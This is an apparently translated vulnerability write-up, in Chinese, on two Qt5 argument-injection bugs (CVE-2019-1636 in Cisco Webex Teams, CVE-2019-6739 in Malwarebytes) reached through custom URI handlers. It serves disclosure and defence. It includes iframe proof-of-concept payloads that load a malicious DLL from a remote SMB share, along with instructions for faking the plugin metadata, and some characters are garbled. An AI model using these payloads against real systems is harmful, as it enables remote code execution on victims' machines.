QT漏洞的详细介绍：CVE-2019-1636与CVE-2019-6739

Pinging / 2019-04-08 07:30:00 / 浏览数 4109 安全技术 漏洞分析 顶(0) 踩(0)

我们最近发现了一个有趣的漏洞，该漏洞影响了大量的Qt5产品。 由于许多开发人员依赖Qt框架进行C ++和Python开发，因此此bug可能造成十分严重的影响。

使用Qt5框架构建的GUI应用程序均包含有一组受支持的命令行选项，而这些选项可以传递部分可执行二进制文件。

都将具有一组受支持的命令行选项，这些选项可以传递给可执行二进制文件。 例如运行下面的命令：

```
QtGUIapp.exe -qwindowtitle foobar
```

之后我们将发现foobar替换了原始窗口标题的内容。 命令行选项platformpluginpath更为明显。 此参数包含了指向Qt5插件的目录路径以及UNC共享目录。 换句话说，目标位置包含Windows上的动态链接库（DLL）文件。 Qt5应用程序将在内存中加载后自动执行这些插件。

读者可能会问，这个“功能”如何被利用？ 什么样的攻击媒介适用？
确实，在许多情况下确实没有合适的payload来进行攻击，但是在配置自定义URI方案时会这种漏洞就容易发生。
让我们来谈谈下面几个案例，CVE-2019-1636``■CVE-2019-6739。

Cisco Webex Teams（CVE-2019-1636）

安装Cisco Spark和Webex Teams后，“ciscospark”协议的URI处理程序在注册表中按以下内存配置：

```
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\ciscospark]
@="URL: ciscospark protocol"
"URL Protocol"=""
"DefaultIcon"="C:\\Users\\research\\AppData\\Local\\Programs\\Cisco Spark\\CiscoCollabHost.exe"

[HKEY_CLASSES_ROOT\ciscospark\shell]

[HKEY_CLASSES_ROOT\ciscospark\shell\open]

[HKEY_CLASSES_ROOT\ciscospark\shell\open\command]
@="C:\\Users\\research\\AppData\\Local\\Programs\\Cisco Spark\\CiscoCollabHost.exe /protocolUri=\"%1\""
```

此密钥能够确保使用ciscospark协议标识符的URI最终都会调用CiscoCollabHost.exe。■■■■■■Cisco Spark应用程序基于Qt5并支持多个命令行参数，包括platformpluginpath。 Spark允许用户读取和写入多种图像格式，例如.gif■.jpg■.bmp文件。 此功能需要几个插件来解析图像格式，包括qgif.dll■qicns.dll■qico.dll■qjpeg.dll■qsvg.dll■qtga.dll■qtiff.dll■qwbmp.dll■qwebp.dll。 这些插件默认从“\imageformats”目录加载。
但是，将“platformpluginpath”传递给可执行文件（CiscoCollabHost.exe）将允许应用程序加载外部插件。

例如如下命令：

```
CiscoCollabHost.exe -platformpluginpath C:/Users/research/Desktop/poc
```

之后我们发现其将加载并执行C:/Users/research/Desktop/poc/imageformats目录中的所有DLL文件。 这是处理DLL加载的代码。

```
; md5( Qt5Core.dll ) - 0BEA8D3DDAC0A5DD69EBA9DA6C4852D6
.text:6718B96C loc_6718B96C:                           ; CODE XREF: sub_6718B770+1E4↑j
.text:6718B96C                 mov     eax, [ecx+0Ch]
.text:6718B96F                 add     eax, ecx
.text:6718B971                 push    eax             ; lpLibFileName
.text:6718B972                 call    ds:LoadLibraryW
```

```
; md5( Qt5Gui.dll ) - 6EDB87EA9ECCE0A20A899DDA3D8B425C
.text:00000001800A341B                mov     dword ptr [rsp+38h+var_18], 0Dh
.text:00000001800A3423                lea     rax, aImageformats ; "/imageformats"
.text:00000001800A342A                mov     qword ptr [rsp+38h+var_18+8], rax
.text:00000001800A342F                lea     rdx, [rsp+38h+var_18]
.text:00000001800A3434                movaps  xmm0, [rsp+38h+var_18]
.text:00000001800A3439                lea     rcx, [rsp+38h+arg_0]
.text:00000001800A343E                movdqa  [rsp+38h+var_18], xmm0
.text:00000001800A3444                call    cs:QString::QString(QLatin1String)
.text:00000001800A344A                lea     rbx, unk_18058D660
.text:00000001800A3451                mov     r9d, 1
.text:00000001800A3457                mov     rcx, rbx
.text:00000001800A345A                lea     r8, [rsp+38h+arg_0]
.text:00000001800A345F                lea     rdx, aOrgQtProjectQt_5 ; "org.qt-project.Qt.QImageIOHandlerFactor"...
.text:00000001800A3466                call    cs:QFactoryLoader::QFactoryLoader(char const *,QString const &,Qt::CaseSensitivity)
.text:00000001800A346C                lea     rcx, [rsp+38h+arg_0]
.text:00000001800A3471                call    cs:QString::~QString(void)
.text:00000001800A3477                lea     rcx, sub_18034FCE0 ; void (__cdecl *)()
.text:00000001800A347E                mov     cs:dword_18058D65C, 0FFFFFFFFh
.text:00000001800A3488                call    atexit
```

从`/imageformats dir`读取的代码并解析图像。

了解这一点，攻击就非常直接了。 例如，POC可以如下进行编写。

```
<iframe src='ciscospark:?" -platformpluginpath \\192.168.131.152\share "'>
```

远程共享包含“imageformats”目录，其中包含“malicious.dll”文件。 在这种情况下，DLL名称并不重要，因为QT5根据其元数据而不是其名称加载插件。

创建恶意DLL对Qt5开发人员影响不大，但它最初对我们的分析不太友好。
没有经过Qt5的预编程，编译将在Qt5加载过程中持续一些时间。我们花了一段时间试图弄清楚文件为何没有加载以及它的“DllMain”没有被执行的原因后，我们更深入地了解
事实证明，DLL插件中需要存在元数据部分才能由Qt5识别。 该部分包含有关插件及其处理的数据（如mime类型）的详细信息。
从另一个有效的插件如“qgif.dll”复制部分内容应该可以解决问题。

.qtmetad	00000120	0000A000	00000200	00007400	00000000	00000000	0000	0000	50000040
.rsrc	00000340	0000B000	00000400	00007600	00000000	00000000	0000	0000	40000040
.reloc	00000094	0000C000	00000200	00007A00	00000000	00000000	0000	0000	42000040

This section contains:

Offset	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	Ascii
00000000	51	54	4D	45	54	41	44	41	54	41	20	20	71	62	6A	73	QTMETADATA..qbjs
00000010	01	00	00	00	0C	01	00	00	0B	00	00	00	F8	00	00	00	□...□□..□...ø...
00000020	1B	03	00	00	03	00	49	49	44	00	00	00	31	00	6F	72	□□..□.IID...1.or
00000030	67	2E	71	74	2D	70	72	6F	6A	65	63	74	2E	51	74	2E	g.qt-project.Qt.
00000040	51	49	6D	61	67	65	49	4F	48	61	6E	64	6C	65	72	46	QImageIOHandlerF
00000050	61	63	74	6F	72	79	49	6E	74	65	72	66	61	63	65	00	actoryInterface.
00000060	9B	0B	00	00	09	00	63	6C	61	73	73	4E	61	6D	65	00	□□....className.
00000070	0A	00	51	47	69	66	50	6C	75	67	69	6E	3A	40	A1	00	..QGifPlugin:@¡.
00000080	07	00	76	65	72	73	69	6F	6E	00	00	00	11	00	00	00	□.version...□...
00000090	05	00	64	65	62	75	67	00	95	12	00	00	08	00	4D	65	□.debug.□...□.Me
000000A0	74	61	44	61	74	61	00	00	64	00	00	00	05	00	00	00	taData..d...□...
000000B0	5C	00	00	00	14	03	00	00	04	00	4B	65	79	73	00	00	\...□□..□.Keys..
000000C0	18	00	00	00	02	00	00	00	14	00	00	00	03	00	67	69	□... ...□...□.gi
000000D0	66	00	00	00	8B	01	00	00	14	08	00	00	09	00	4D	69	f...□..□□....Mi
000000E0	6D	65	54	79	70	65	73	00	1C	00	00	00	02	00	00	00	meTypes. ... ...
000000F0	18	00	00	00	09	00	69	6D	61	67	65	2F	67	69	66	00	□.....image/gif.
00000100	8B	01	00	00	0C	00	00	00	30	00	00	00	0C	00	00	00	□□..□...0...□...
00000110	84	00	00	00	4C	00	00	00	78	00	00	00	68	00	00	00	□...L...x...h...
00000120	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....

在`Visual Studio`中，我们可以使用`#pragma const_seg`■“`.qtmetad`”■创建一个节点。
除了`DllMain`入口点之外，还会在加载DLL时需要执行`qt_plugin_instance`函数。 思科用SA20190123修补了这个问题。

Malwarebytes Anti-Malware（CVE-2019-6739）

同样的概念适用于`Malwarebytes Anti-Malware`。 其使用的协议标识符是”`malwarebytes`”，其注册表项如下：

```
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\malwarebytes]
@="URL:Malwarebytes Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\malwarebytes\DefaultIcon]
@="C:\\Program Files\\Malwarebytes\\Anti-Malware\\assistant.exe,0"

[HKEY_CLASSES_ROOT\malwarebytes\shell]

[HKEY_CLASSES_ROOT\malwarebytes\shell\open]

[HKEY_CLASSES_ROOT\malwarebytes\shell\open\command]
@="\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\assistant.exe\" -uri \"%1\""
```

这里有所区别的地方是默认加载的插件类型。 与Webex不同，Anti-Malware不会读取和写入图像文件，因此不会加载前面提到的DLL。
而是使用Windows集成插件qwindows.dll。 默认情况下，此DLL位于"\platforms\"。

POC如下：

```
<iframe src='malwarebytes:?" -platformpluginpath \\192.168.131.152\share "'>
```

它与我们自行编译的DLL相同。 只需从"qwindows.dll"中复制".qtmetad"部分就可以了。
通过在加载时将此命令行选项提供给Malwarebytes，攻击者可以通过加载DLL而不是程序默认值来接管系统。
Malwarebytes使用3.6.1.2711-1.0.508之后的版本解决了此漏洞。

总结

该技术可应用于大多数基于Qt5进行编程的应用程序。 但是，在大多数情况下，除非上面的CVE中有明确的攻击payload，否则它将很难进行利用。
这完全取决于供应商应用的目的以及它们提供的类型。 在这些情况下，开发人员实现了Qt的功能，该功能由产品中其他机制中存在的攻击作为媒介进行综合利用。
对于开发人员，如果其使用框架来创建其他内容，请确保已经了解了加载的选项和功能。
如果不这样做，可能会导致像这些示例这样的漏洞情况，其中内置选项最终会导致意外后果。

■■■■■■■■■■■[https://www.zerodayinitiative.com/blog/2019/4/3/loading-up-a-pair-of-qt-bugs-detailing-cve-2019-1636-and-cve-20

上一篇：3种XXE不同攻击方式 下一篇：session-file-stor...
1. 0 条回复
   - 动动手指，沙发就是你的了！